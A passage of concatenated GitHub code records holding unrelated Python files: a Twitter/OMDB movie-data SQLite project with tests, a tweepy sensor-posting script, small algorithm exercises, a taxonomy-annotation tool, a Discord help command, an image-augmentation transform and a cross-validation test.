list of 3 dictionaries (one for each movie in list)\nmovie_data = get_omdb_data(movie_list)\n\n# Connect to database\nconn = sqlite3.connect('databases.db')\ncur = conn.cursor()\n\n# Make table to hold Twitter data\ncur.execute('DROP TABLE IF EXISTS Tweets')\ncur.execute('CREATE TABLE Tweets (tweet_id TEXT PRIMARY KEY, user_id INTEGER, tweet_text TEXT, user TEXT, retweets INTEGER, favorites INTEGER, user_mentions TEXT, movie_search TEXT)')\n\nstatement = 'INSERT OR IGNORE INTO Tweets VALUES (?, ?, ?, ?, ?, ?, ?, ?)'\n\n# Insert cached data from twitter search function into database for each of three movies\nfor x in twitter_data_Inception[\"statuses\"]:\n\ttweet_id = x[\"id_str\"]\n\tuser_id = x[\"user\"][\"id\"]\n\ttweet_text = x[\"text\"]\n\tuser = x[\"user\"][\"screen_name\"]\n\tretweets = x[\"retweet_count\"]\n\tfavorites = x[\"favorite_count\"]\n\tuser_dictionary = x[\"entities\"][\"user_mentions\"]\n\tuser_mentions = \"\"\n\tfor x in user_dictionary:\n\t\tuser_mentions = x[\"screen_name\"]\n\tmovie_search = \"Inception\"\n\n\tcur.execute(statement, (tweet_id, user_id, tweet_text, user, retweets, favorites, user_mentions, movie_search))\n\nfor x in twitter_data_Trainwreck[\"statuses\"]:\n\ttweet_id = x[\"id_str\"]\n\tuser_id = x[\"user\"][\"id\"]\n\ttweet_text = x[\"text\"]\n\tuser = x[\"user\"][\"screen_name\"]\n\tretweets = x[\"retweet_count\"]\n\tfavorites = x[\"favorite_count\"]\n\tuser_dictionary = x[\"entities\"][\"user_mentions\"]\n\tuser_mentions = \"\"\n\tfor x in user_dictionary:\n\t\tuser_mentions = x[\"screen_name\"]\n\tmovie_search = \"Trainwreck\"\n\n\tcur.execute(statement, (tweet_id, user_id, tweet_text, user, retweets, favorites, user_mentions, movie_search))\n\nfor x in twitter_data_Brooklyn[\"statuses\"]:\n\ttweet_id = x[\"id_str\"]\n\tuser_id = x[\"user\"][\"id\"]\n\ttweet_text = x[\"text\"]\n\tuser = x[\"user\"][\"screen_name\"]\n\tretweets = x[\"retweet_count\"]\n\tuser_dictionary = x[\"entities\"][\"user_mentions\"]\n\tuser_mentions = \"\"\n\tfor x in user_dictionary:\n\t\tuser_mentions = x[\"screen_name\"]\n\tmovie_search = \"Brooklyn\"\n\n\tcur.execute(statement, (tweet_id, user_id, tweet_text, user, retweets, favorites, user_mentions, movie_search))\n\nconn.commit()\n\n# Query to access users mentioned in tweets from Tweets database, store in user_neighborhood\nuser_neighborhood = []\nquery = \"SELECT user_mentions FROM Tweets WHERE user_mentions > 0\"\ncur.execute(query)\ntemp_tup = cur.fetchall()\nuser_neighborhood = [x[0] for x in temp_tup]\n\n# Query to access users who posted tweets in Tweets database, add to user_neighborhood\nquery1 = \"SELECT user FROM Tweets\"\ncur.execute(query1)\ntemp_tup1 = cur.fetchall()\nuser_neighborhood += [x[0] for x in temp_tup1]\n\n# Make dictionary user_neighborhood_dict with keys of users that map to a dictionary of data about the user\nuser_neighborhood_dict = {}\nfor user in user_neighborhood:\n\tuser_neighborhood_dict[user] = get_twitter_user_data(user)\n\n# Make tabel to hold User data with columns\ncur.execute('DROP TABLE IF EXISTS Users')\ncur.execute('CREATE TABLE Users (user_id INTEGER PRIMARY KEY, screen_name TEXT, favorites INTEGER)')\n\n# Insert cached data from twitter user function into database for each of the users in user_neighborhood_dict\nstatement = 'INSERT OR IGNORE INTO Users VALUES (?, ?, ?)'\n\nfor key in user_neighborhood_dict:\n\ttemp_user_dict = {}\n\ttemp_user_dict = user_neighborhood_dict[key]\n\tuser_id = temp_user_dict[\"id\"]\n\tscreen_name = temp_user_dict[\"name\"]\n\tfavorites = temp_user_dict[\"favourites_count\"]\n\n\tcur.execute(statement, (user_id, screen_name, favorites))\n\nconn.commit()\n\n# Make table to hold OMDB data with columns: title, director (will probably add to this later)\ncur.execute('DROP TABLE IF EXISTS OMDB')\ncur.execute('CREATE TABLE OMDB (movie_id TEXT PRIMARY KEY, title TEXT, director TEXT, language INTEGER, imdb_rating TEXT, actor TEXT)')\n\n# Insert cached data from omdb function into database for each of three movies\nstatement = 'INSERT OR IGNORE INTO OMDB VALUES (?, ?, ?, ?, ?, ?)'\n\nfor x in movie_data:\n\tx = json.loads(x)\n\tmovie_id = x[\"imdbID\"]\n\ttitle = x[\"Title\"]\n\tdirector = x[\"Director\"]\n\n\tlang_string = x[\"Language\"]\n\tsplit_lang = lang_string.split(\",\")\n\tlanguage = len(split_lang)\n\n\timdb_rating = x[\"imdbRating\"]\n\n\tactor_string = x[\"Actors\"]\n\tsplit_actor = actor_string.split(\",\")\n\tactor = split_actor[0]\n\n\tcur.execute(statement, (movie_id, title, director, language, imdb_rating, actor))\n\nconn.commit()\n\n\n# Define Movie class\nclass Movie(object):\n\t# Constructor: accepts a movie dictionary\n\tdef __init__(self, movie_dict):\n\t\tself.movie_dict = json.loads(movie_dict)\n\t\tself.title = self.movie_dict[\"Title\"]\n\t\tself.director = self.movie_dict[\"Director\"]\n\t\tself.imdb_rating = self.movie_dict[\"imdbRating\"]\n\t\tself.actor_list = self.movie_dict[\"Actors\"]\n\t\tself.num_lang = self.movie_dict[\"Language\"]\n\n\t# Define __str__ method\n\tdef __str__(self):\n\t\treturn \"{} was directed by {} and has an IMDB rating of {}. The actors include {}. The following languages are spoken in the movie: {}.\".format(self.title, self.director, self.imdb_rating, self.actor_list, self.num_lang)\n\t\n\t# Define function that uses the imdb_rating to return true is a movie is \"good,\" meaning it has a rating of 5 or higher\n\tdef is_movie_good(self):\n\t\tif float(self.imdb_rating) > 5:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n# Query to see if users who get more favorites\nquery_faves = \"SELECT Users.favorites, Tweets.favorites FROM Tweets INNER JOIN Users on Tweets.user_id = Users.user_id\"\ncur.execute(query_faves)\nfaves_relationship = cur.fetchall()\n\n# Query to see which movies got the most favorites in tweets about them\nquery_popularity = \"SELECT OMDB.title, Tweets.favorites FROM Tweets INNER JOIN OMDB on Tweets.movie_search = OMDB.title\"\ncur.execute(query_popularity)\npopularity_relationship = cur.fetchall()\n\n# Variables hold number of favorites from each tweet about each movie\ninception_faves = []\ntrainwreck_faves = []\nbrooklyn_faves= []\nfor tup in popularity_relationship:\n\tif tup[0] == \"Inception\":\n\t\tinception_faves.append(tup[1])\n\telif tup[0] == \"Trainwreck\":\n\t\ttrainwreck_faves.append(tup[1])\n\telse:\n\t\tbrooklyn_faves.append(tup[1])\n\n# Variables hold the addition of the number of favorites for tweets about each movie\ninception_total\t= 0\ntrainwreck_total = 0\nbrooklyn_total = 0\nfor num in inception_faves:\n\tinception_total += num\nfor num in trainwreck_faves:\n\ttrainwreck_total += num\nfor num in brooklyn_faves:\n\tbrooklyn_total += num\n\n# Create text file to write data to\nf = open(\"summary_stats.txt\", \"w+\")\n\n# Write summary statistics to text file\nf.write(\"Here are the summary stats for Tweets about the following movies:\\n\")\nfor movie in movie_list:\n\tif movie == \"Brooklyn\":\n\t\tf.write(\"and \"+movie+\"\\n\")\n\telse:\n\t\tf.write(movie+\", \")\nf.write(\"\\n\")\n\nf.write(\"Do users who favorite more tweets get more favorites on their tweets?\\n\")\n\nf.write(\"Number of tweets a user has favorited vs. Number of favorites a user got on a tweet:\\n\")\nfor pair in faves_relationship:\n\tf.write(str(pair[0])+\" vs. \"+str(pair[1])+\"\\n\")\nf.write(\"There appears to be no relationship between how many tweets a user favorites and how many favorites a user gets on their tweet.\")\nf.write(\"\\n\")\nf.write(\"\\n\")\n\nf.write(\"Which movie got the most total favorites on tweets that mentioned the movie?\\n\")\nf.write(\"Inception: \"+str(inception_total)+\"\\n\")\nf.write(\"Trainwreck: \"+str(trainwreck_total)+\"\\n\")\nf.write(\"Brooklyn: \"+str(brooklyn_total)+\"\\n\")\n\nf.write(\"\\n\")\nf.write(\"\\n\")\n\nf.write(\"Whether or not a movie is good or bad is determined by if it has more or less than 5 points on IMDB. Here are the results: \")\nf.write(\"\\n\")\ninception_instance = Movie(movie_data[0])\nif(inception_instance.is_movie_good()):\n\tf.write(\"Inception is a good movie.\\n\")\ntrainwreck_instance = Movie(movie_data[1])\nif(trainwreck_instance.is_movie_good()):\n\tf.write(\"Trainwreck is a good movie.\\n\")\nbrooklyn_instance = Movie(movie_data[2])\nif(brooklyn_instance.is_movie_good()):\n\tf.write(\"Brooklyn is a good movie.\\n\")\n\nf.close()\n\n\n# Put your tests here, with any edits you now need from when you turned them in with your project plan.\nclass TestCases(unittest.TestCase):\n\t# tests the type of the title instance variable from the Movie class\n\tdef test_class_type_title(self):\n\t\ttest_movie = Movie(movie_data[0])\n\t\tself.assertEqual(type(test_movie.title), str)\n\t# tests the type of the director instance variable from the Movie class\n\tdef test_class_type_director(self):\n\t\ttest_movie = Movie(movie_data[0])\n\t\tself.assertEqual(type(test_movie.director), str)\n\t# tests the type of the rating instance variable from the Movie class\n\tdef test_class_type_rating(self):\n\t\ttest_movie = Movie(movie_data[0])\n\t\tself.assertEqual(type(test_movie.imdb_rating), str)\n\t# tests the type of the actors instance variable from the Movie class\n\tdef test_class_type_actors(self):\n\t\ttest_movie = Movie(movie_data[0])\n\t\tself.assertEqual(type(test_movie.actor_list), str)\n\t# tests the type of the rating instance variable from the Movie class\n\tdef test_class_type_num_lang(self):\n\t\ttest_movie = Movie(movie_data[0])\n\t\tself.assertEqual(type(test_movie.num_lang), str)\n\t# tests if the query for movie favorites returns a list\n\tdef test_query_faves_return(self):\n\t\tself.assertEqual(type(faves_relationship), list)\n\t# tests if the query for movie popularity returns a list\n\tdef test_query_2_return(self):\n\t\tself.assertEqual(type(popularity_relationship), list)\n\t# tests if the title instance variable is correct for the created Movie class\n\tdef test_movie_title_return(self):\n\t\ttest_movie = Movie(movie_data[0])\n\t\tself.assertEqual(test_movie.title, \"Inception\")\n\t# tests if the method is_good_movie returns True for a movie with a rating above 5\n\tdef test_is_good_movie(self):\n\t\ttest_movie = Movie(movie_data[0])\n\t\tself.assertEqual(test_movie.is_movie_good(), True)\n\t# tests return value from get_twitter_search_data() to make sure it's a dictionary\n\tdef test_search_data(self):\n\t\ttest_dict = get_twitter_search_data(\"search data\")\n\t\tself.assertEqual(type(test_dict), dict)\n\t# tests return value from get_twitter_user_data()\n\tdef test_user_data(self):\n\t\ttest_dict = get_twitter_user_data(\"ameliacacchione\")\n\t\tself.assertEqual(type(test_dict), dict)\n\tdef test_omdb_data(self):\n\t\ttest_list = get_omdb_data([\"Mean Girls\", \"Cars\"])\n\t\tself.assertEqual(type(test_list), list)\n\nif __name__ == \"__main__\":\n unittest.main(verbosity=2)","repo_name":"ameliagc/FinalPrj","sub_path":"206_data_access.py","file_name":"206_data_access.py","file_ext":"py","file_size_in_byte":15576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23870069667","text":"# @gwensab last edited 8/16/2022\n# The purpose of this code is to access a twitter developer account remotely, gather data from sqlite table, format that data, and send it to twitter\n\nimport sqlite3\nimport tweepy\nimport datetime\nfrom datetime import time\n\ncon = sqlite3.connect('name.db') # connect to sqlite3 database (\"name\" is a placeholder for your database name)\ncursor = con.cursor()\n\nconsumer_key = '***' # remember the twitter API keys and access tokens?\nconsumer_secret = '***' # input those values here, in place of ***\naccess_token = '***' \naccess_token_secret = '***' \n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret) # use twitter API keys \nauth.set_access_token(access_token, access_token_secret) # and access tokens\napi = tweepy.API(auth) # to authenticate connection to your twitter account\n\nt = datetime.datetime.now() # get real time\nminutes = t.strftime(\"%M\") # get minutes\nmin = float(minutes)%1 # convert to float value and check if minutes are divisible by 1\n\ncursor.execute(\"SELECT temperature FROM table_name ORDER BY row_num DESC LIMIT 1\") # get newest temperature value from table\ntemperatur = cursor.fetchone() # select row from table\ntemperature = ''.join(temperatur) # turn value into a string\n\ncursor.execute(\"SELECT humidity FROM table_name ORDER BY row_num DESC LIMIT 1\") # get newest humidity value from table\nhumidit = cursor.fetchone() # select row from table\nhumidity = ''.join(humidit) # turn value into a string\n\ncursor.execute(\"SELECT time FROM table_name ORDER BY row_num DESC LIMIT 1\") # get newest time value from table\ntim = cursor.fetchone() # select row from table\ntime = ''.join(tim) # turn value into a stirng\n\n\nif (min == 0): # if minutes are divisible by one\n tweettopublish = 'Temperature: '+temperature+'°F \\nHumidity: '+humidity+'% \\nTime: '+time # create formatted tweet containing temperature, humidity, and time\n \napi.update_status(tweettopublish) # update tweet to twitter\nprint(tweettopublish) # print tweet\n","repo_name":"gwensab/The-Goon","sub_path":"post_twitter.py","file_name":"post_twitter.py","file_ext":"py","file_size_in_byte":3206,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"18963334726","text":"n = int(input())\n\nfor c in range(1, n+1):\n\tx, y = list(map(int, input().split()))\n\t\n\ttry:\n\t\tdiv = x / y\n\t\tprint(f'{div:.1f}')\n\texcept Exception:\n\t\tprint('divisao impossivel')\n\t\n","repo_name":"VBAguiar/beecrowd-source-code","sub_path":"src-py/Dividindo_X_por_Y.py","file_name":"Dividindo_X_por_Y.py","file_ext":"py","file_size_in_byte":177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41752605844","text":"# Method-2:\n\n# Assuming the array contains positive integers\ndef MaxSubsetSumNoAdjacent(array):\n if not len(array):\n return -1\n elif len(array) == 1:\n return array[0]\n maxSums = array[:]\n maxSums[1] = max(array[0],array[1])\n for i in range(2, len(array)):\n maxSums[i] = max(maxSums[i - 1], maxSums[i - 2] + array[i])\n return maxSums[-1]\n\n# Time Complexity: O(n)\n# Space Complexity: O(n)","repo_name":"OrionJoshi/Competitive_Programming","sub_path":"41.Max Subset Sum No Adjacent/Method-2.py","file_name":"Method-2.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"82"} +{"seq_id":"40597221175","text":"# -*- coding: utf-8 -*-\n# __author__ = 'zhengyuan'\n\nfrom biocluster.agent import Agent\nfrom biocluster.tool import Tool\nfrom biocluster.core.exceptions import OptionError\nfrom collections import defaultdict\nimport os\n\nclass AddTaxAgent(Agent):\n\n def __init__(self, parent):\n super(AddTaxAgent, self).__init__(parent)\n options = [\n {\"name\": \"abund\", \"type\": \"infile\", \"format\": \"sequence.profile_table\"}, # 输入文件,gene丰度表\n {\"name\": \"new_abund\", \"type\": \"outfile\", \"format\": \"sequence.profile_table\"} # 输出文件,将gene转为物种分类\n ]\n self.add_option(options)\n self.step.add_steps(\"tax\")\n self.on('start', self.stepstart)\n self.on('end', self.stepfinish)\n\n def check_options(self):\n if not self.option(\"abund\").is_set:\n raise OptionError(\"必须输入gene表或blast结果表\")\n return True\n\n def set_resource(self):\n self._cpu = 1\n self._memory = '10G'\n\n def stepstart(self):\n self.step.tax.start()\n self.step.update()\n\n def stepfinish(self):\n self.step.tax.finish()\n self.step.update()\n\n def end(self):\n super(AddTaxAgent, self).end()\n\nclass AddTaxTool(Tool):\n\n def __init__(self, config):\n super(AddTaxTool, self).__init__(config)\n self.level_id = 0\n self.ref_db = os.path.join(self.config.SOFTWARE_DIR, \"database/Cgc_taxon/gene_nr_anno.xls\")\n\n def get_map(self):\n with open(self.ref_db, \"r\") as read_file:\n target = [{},{},{},{},{},{},{},{},{}]\n lines = read_file.readlines()\n for line in lines[1:]:\n tmp = line.strip().split(\"\\t\")\n if self.level_id == 0:\n target[0][tmp[0]] = \";\".join(tmp[2:10])\n else:\n target[self.level_id][tmp[0]] = tmp[self.level_id + 1]\n return target\n\n def anno_prof(self):\n import pandas as pd\n import numpy as np\n gene_to_anno = self.get_map()\n profile = pd.read_table(self.option(\"abund\").path, header=0, low_memory=False)\n profile['annotation'] = profile['gene'].map(gene_to_anno[self.level_id]).replace(np.nan, \"no_rank\")\n new_file = profile.groupby(profile['annotation']).sum()\n new_file.to_csv(os.path.join(self.output_dir, \"new_abund.xls\"), sep='\\t')\n\n def set_output(self):\n self.logger.info(\"设置结果目录\")\n self.option(\"new_abund\").set_path(self.output_dir + '/new_abund.xls')\n self.logger.info(\"设置结果目录成功\")\n\n def run(self):\n super(AddTaxTool, self).run()\n self.anno_prof()\n self.set_output()\n self.end()\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/tools/hmdb/add_tax.py","file_name":"add_tax.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"1395711296","text":"# Comparing different classifiers\nfrom sklearn.metrics import roc_curve, auc, roc_auc_score\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.neighbors import KNeighborsClassifier\n\nmodels = []\nmodels.append(RandomForestClassifier(n_estimators=165, max_depth=4, criterion='entropy'))\nmodels.append(GradientBoostingClassifier(n_estimators=1000, max_depth=3))\nmodels.append(KNeighborsClassifier(n_neighbors=20))\nmodels.append(GaussianNB())\n\n# roc_auc plot\nplt.figure(figsize=(10, 10)) \nfor model in models:\n model.fit(X_train, y_train)\n pred_scr = model.predict_proba(X_test)[:, 1]\n fpr, tpr, thresholds = roc_curve(y_test, pred_scr)\n roc_auc = auc(fpr, tpr)\n md = str(model)\n md = md[:md.find('(')]\n plt.plot(fpr, tpr, label='ROC fold %s (auc = %0.2f)' % (md, roc_auc))\n\nplt.plot([0, 1], [0, 1], '--', color=(0.6, 0.6, 0.6))\nplt.xlim([0, 1])\nplt.ylim([0, 1])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('Receiver operating characteristic example')\nplt.legend(loc=\"lower right\")\nplt.show()\n","repo_name":"AlexIzotovMsc/Tasks","sub_path":"Scoring/CompareDifferentClassifiersRocAuc.py","file_name":"CompareDifferentClassifiersRocAuc.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18340489355","text":"# single linked list class\nclass Node(object):\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList(object):\n\n def __init__(self):\n # initialize the root node which contains nothing\n self.head = None\n self.size = 0\n\n @property\n def size2(self):\n current_node = self.head\n size = 0\n while current_node is not None:\n size += 1\n current_node = current_node.next\n return size\n\n # O(1) constant complexity\n def insertStart(self, data):\n # insert element to the beginning\n self.size += 1\n # instantiate the Node class\n newnode = Node(data)\n\n if self.head is None:\n # set as new start node\n self.head = newnode\n else:\n # insert to the beginning (left side)\n newnode.next = self.head\n self.head = newnode\n\n # O(N) complexity\n def insertEnd(self, data):\n self.size += 1\n newnode = Node(data)\n search_node = self.head\n while search_node.next is not None:\n search_node = search_node.next\n search_node.next = newnode\n # return search_node\n\n def traverseList(self):\n current_node = self.head\n # print(\"head data after insertion: \", current_node.data)\n while current_node is not None:\n print(current_node.data)\n current_node = current_node.next\n\n def remove(self, data):\n # remove a specific data from the linked list\n self.size -= 1\n currentNode = self.head\n previousNode = None\n while currentNode.data != data:\n # store previous node\n previousNode = currentNode\n currentNode = currentNode.next\n\n if previousNode is None:\n # remove the 1st Node\n self.head = currentNode.next\n else:\n previousNode.next = currentNode.next\n\n\nif __name__ == '__main__':\n\n linkedlist = LinkedList()\n linkedlist.insertStart(12)\n linkedlist.insertStart(122)\n linkedlist.insertStart(3)\n linkedlist.insertEnd(31)\n linkedlist.insertEnd(311)\n # print(type(linkedlist.head))\n print(\"size2: \", linkedlist.size2)\n\n # newlinkedlist = linkedlist.insertEnd(i)\n\n linkedlist.traverseList()\n print(\"size1: \", linkedlist.size)\n\n linkedlist.remove(31)\n linkedlist.remove(12)\n linkedlist.remove(311)\n\n linkedlist.traverseList()\n print(\"size2: \", linkedlist.size2)","repo_name":"AngryJoy/udemy_courses","sub_path":"Algorithms_and_Data_Structures_in_Python/4_linkedlist.py","file_name":"4_linkedlist.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41735822855","text":"import discord\nfrom discord.ext import commands\n\nclass MyHelp(commands.HelpCommand):\n def get_command_brief(self, command):\n return command.short_doc or \"Command is not documented.\"\n\n def get_command_signature(self, command):\n return '%s%s %s' % (self.clean_prefix, command.qualified_name, command.signature)\n\n # !help\n async def send_bot_help(self, mapping):\n embed = discord.Embed(title=\"JimRPG Steam Key Depository - Commands\")\n for cog, commands in mapping.items():\n command_signatures = [self.get_command_signature(c) for c in commands]\n for co in commands:\n print(co.brief)\n cog_name = getattr(cog, \"qualified_name\", \"No Category\")\n description = getattr(cog, \"description\", \"No Description\")\n print(description)\n brief = getattr(co, \"brief\", \"This command is not documented\") \n embed.add_field(name=cog_name, value=f\"{brief}\\nUsage: {self.get_command_signature(co)}\", inline=False)\n\n # if command_signatures:\n # print(cog)\n # cog_name = getattr(cog, \"qualified_name\", \"No Category\")\n \n # embed.add_field(name=cog_name, value=\"\\n\".join(command_signatures), inline=False)\n\n channel = self.get_destination()\n await channel.send(embed=embed)\n \n # !help \n async def send_command_help(self, command):\n await self.context.send(\"This is help command\")\n \n # !help \n async def send_group_help(self, group):\n await self.context.send(\"This is help group\")\n \n # !help \n async def send_cog_help(self, cog):\n print(cog)\n description = getattr(cog, \"description\", \"No Description\")\n channel = self.get_destination()\n await channel.send(f\"{description}\")\n\n","repo_name":"jimrpg00/steamkeys","sub_path":"MyHelp.py","file_name":"MyHelp.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5702003349","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom typing import Union, Tuple\n\nimport numpy as np\nfrom PIL import Image\nfrom scipy.linalg import solve\n\n\nclass RandomBetaAffine(object):\n \"\"\"Apply a random affine transform on a PIL image\n using a Beta distribution.\"\"\"\n\n def __init__(\n self,\n max_offset_ratio=0.2, # type: float\n alpha=2, # type: float\n beta=2, # type: float\n fillcolor=None, # type: Union[None, int, Tuple[int, int, int]]\n ):\n assert max_offset_ratio > 0\n assert alpha > 0\n assert beta > 0\n self.max_offset_ratio = max_offset_ratio\n self.alpha = alpha\n self.beta = beta\n self.fillcolor = fillcolor\n\n def __call__(self, img):\n # type: (Image.Image) -> Image.Image\n max_offset = min(img.size) * self.max_offset_ratio\n z = np.random.beta(self.alpha, self.beta, size=(3, 2))\n offset = ((2.0 * z - 1.0) * max_offset).astype(np.float32)\n w, h = img.size\n src = np.asarray([(0, 0), (0, h), (w, 0)], dtype=np.float32)\n dst = src + offset\n affine_mat = self.get_affine_transform(src, dst)\n return img.transform(\n img.size,\n method=Image.AFFINE,\n data=affine_mat,\n resample=Image.BILINEAR,\n fillcolor=self.fillcolor,\n )\n\n def __repr__(self):\n s = \"vision.{name}(max_offset_ratio={max_offset_ratio}, alpha={alpha}, beta={beta}\"\n if self.fillcolor:\n s += \", fillcolor={fillcolor}\"\n s += \")\"\n return s.format(name=self.__class__.__name__, **self.__dict__)\n\n @staticmethod\n def get_affine_transform(src, dst):\n # type: (np.ndarray, np.ndarray) -> np.ndarray\n assert src.shape == (3, 2)\n assert dst.shape == (3, 2)\n coeffs = np.zeros((6, 6), dtype=np.float32)\n for i in [0, 1, 2]:\n coeffs[i, 0:2] = coeffs[i + 3, 3:5] = src[i]\n coeffs[i, 2] = coeffs[i + 3, 5] = 1\n return solve(coeffs, dst.transpose().flatten())\n\n\nif __name__ == \"__main__\":\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--alpha\", type=float, default=2)\n parser.add_argument(\"--beta\", type=float, default=2)\n parser.add_argument(\"--max_offset_ratio\", type=float, default=0.2)\n parser.add_argument(\"images\", type=argparse.FileType(\"rb\"), nargs=\"+\")\n args = parser.parse_args()\n\n transformer = RandomBetaAffine(\n alpha=args.alpha, beta=args.beta, max_offset_ratio=args.max_offset_ratio\n )\n print(transformer)\n for f in args.images:\n x = Image.open(f, \"r\").convert(\"L\")\n y = transformer(x)\n\n w, h = x.size\n z = Image.new(\"L\", (w, 2 * h))\n z.paste(x, (0, 0))\n z.paste(y, (0, h))\n z = z.resize(size=(w // 2, h), resample=Image.BICUBIC)\n z.show()\n try:\n raw_input()\n except NameError:\n input()\n","repo_name":"dhlab-epfl-students/htr-curriculum-semi-supervision","sub_path":"code/laia/data/transforms/vision/random_beta_affine.py","file_name":"random_beta_affine.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"11266472698","text":"import os\n\n\ndef test_enoder_path():\n encoder_path = os.path.join(\"encoder\",\"mars-small128.pb\")\n assert os.path.isfile(encoder_path), \"Could not find %s\"%encoder_path\n \ndef test_yolov4_path():\n YOLOV4_FOLDER = \"yolov4\"\n label_path = os.path.join(YOLOV4_FOLDER,\"coco.names\")\n weight_path = os.path.join(YOLOV4_FOLDER, \"yolov4.weights\")\n config_path = os.path.join(YOLOV4_FOLDER, \"yolov4.cfg\")\n assert os.path.isfile(label_path), \"Could not find %s\"%label_path\n assert os.path.isfile(config_path), \"Could not find %s\"%config_path\n assert os.path.isfile(weight_path), \"Could not find %s, make sure you already downloaded yolov4 weight\"%weight_path","repo_name":"quangnhat185/Advance_DeepSORT_YOLOv4","sub_path":"unit_tests.py","file_name":"unit_tests.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"42919923192","text":"# ###################################################################\n# test cross_validation\n#\n# Description\n# Test the size of the data basis using the bias and variance error.\n#\n# ###################################################################\n# Author: hw\n# created: 29. Jul. 2020\n# ###################################################################\n#####################################################################\n### Import\n#####################################################################\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn.model_selection import learning_curve\nfrom sklearn.linear_model import LogisticRegression as logReg\nfrom sklearn.model_selection import LeaveOneGroupOut, cross_validate\nfrom sklearn.metrics import f1_score\nfrom sklearn.base import clone\n\nfrom uncert_ident.visualisation import plotter as plot\nfrom uncert_ident.methods.classification import get_data, get_groups, get_n_groups, test_train_split_feat_labl\nfrom uncert_ident.utilities import FEATURE_KEYS, LABEL_KEYS, get_datetime\n\n\n#####################################################################\n### Configuration\n#####################################################################\nn_labl = 1\nlabel_name = {0: 'non_negative', 1: 'anisotropic', 2: 'non_linear'}[n_labl]\nfeat_keys = FEATURE_KEYS # Choose features: FEATURE_KEYS, INVARIANT_KEYS or PHYSICAL_KEYS\ndataset = 'sep' # Choose test scenario: sep, pg or all\n\n\n\n#####################################################################\n### Get and select data\n#####################################################################\n# Define filename and print timestamp\ndatetime_str = get_datetime(return_string=True)\nfname = 'logReg' + '_' + label_name + '_' + dataset + '_' + datetime_str\nprint(\"Running test scenario {0:s}, results in {1:s}\".format(dataset, fname))\n\n\n# Get data, group indexes\ntrain_cases, valid_cases, df_feat, df_labl = get_data(dataset)\ngroups = get_groups(df_feat, train_cases)\nn_groups = get_n_groups(groups, train_cases)\n\n# Test/Train splits\nfeat_train, feat_valid, labl_train, labl_valid = test_train_split_feat_labl(df_feat, df_labl, train_cases, valid_cases, feat_keys, n_labl)\n\n\n# Instantiate classifier\nidf = logReg(random_state=False,\n fit_intercept=False,\n class_weight='balanced',\n max_iter=200,\n # penalty='elasticnet',\n solver='lbfgs',\n C=1,\n # l1_ratio=0.0, # 0.0=l2, 1.0=l1\n verbose=True,\n n_jobs=-1,\n )\n\n\n#####################################################################\n### Manual Cross-Validation\n#####################################################################\ntest_score = []\ntrain_score = []\nfor test_case in train_cases:\n # LeaveOneGroupOut splits\n subtrain_cases_bool = np.array(train_cases) != np.array(test_case)\n subtrain_cases = np.array(train_cases)[subtrain_cases_bool].tolist()\n feat_subtrain, feat_test, labl_subtrain, labl_test = test_train_split_feat_labl(df_feat, df_labl, subtrain_cases, [test_case], feat_keys, n_labl)\n\n # Instantiate new classifier and fit\n tmp_idf = clone(idf)\n tmp_idf.fit(feat_subtrain, labl_subtrain)\n\n # Scoring\n train_score.append(\n f1_score(labl_subtrain, tmp_idf.predict(feat_subtrain))\n )\n test_score.append(\n f1_score(labl_test, tmp_idf.predict(feat_test))\n )\n\ndf_cv_rslt = pd.DataFrame(dict({'test_score': test_score, 'train_score': train_score}))\n\n\n#####################################################################\n### Sklearn Cross-Validation\n#####################################################################\nlogo = LeaveOneGroupOut()\nscores = ['f1']\nrslt = cross_validate(idf,\n feat_train,\n labl_train,\n groups=groups,\n cv=logo,\n return_train_score=True,\n return_estimator=True,\n scoring=scores,\n # fit_params={'sample_weight': s_weights},\n verbose=False,\n n_jobs=-1)\ndf_rslt = pd.DataFrame(rslt)\n\n\n\n# Compare both methods\nprint(df_cv_rslt.mean())\nprint(df_rslt.mean())\n\n\n# Conclusion: Mean errors are approximately equal\n# Not exactly because,\n# Shuffling of data\n# Random state in solvers\n# Still the manual CV is accurate, so, it can be used for learning curves\n","repo_name":"hwuestenberg/uncertainty_identifier","sub_path":"test/test_cross_validation.py","file_name":"test_cross_validation.py","file_ext":"py","file_size_in_byte":4424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13746128237","text":"import pygame\nfrom molde_tetris import MOLDE_ALFABETO\n\n\nclass Screen_tools:\n def __init__(self) -> None:\n self.cores = ((0, 0, 255), (255, 255, 0), (150, 150, 255), (255, 0, 0), (150, 150, 150), (255, 255, 100), (255, 0, 255));\n self.cor_indice = 0;\n self.clicked = False;\n\n def TETRIS(self, x_pos, 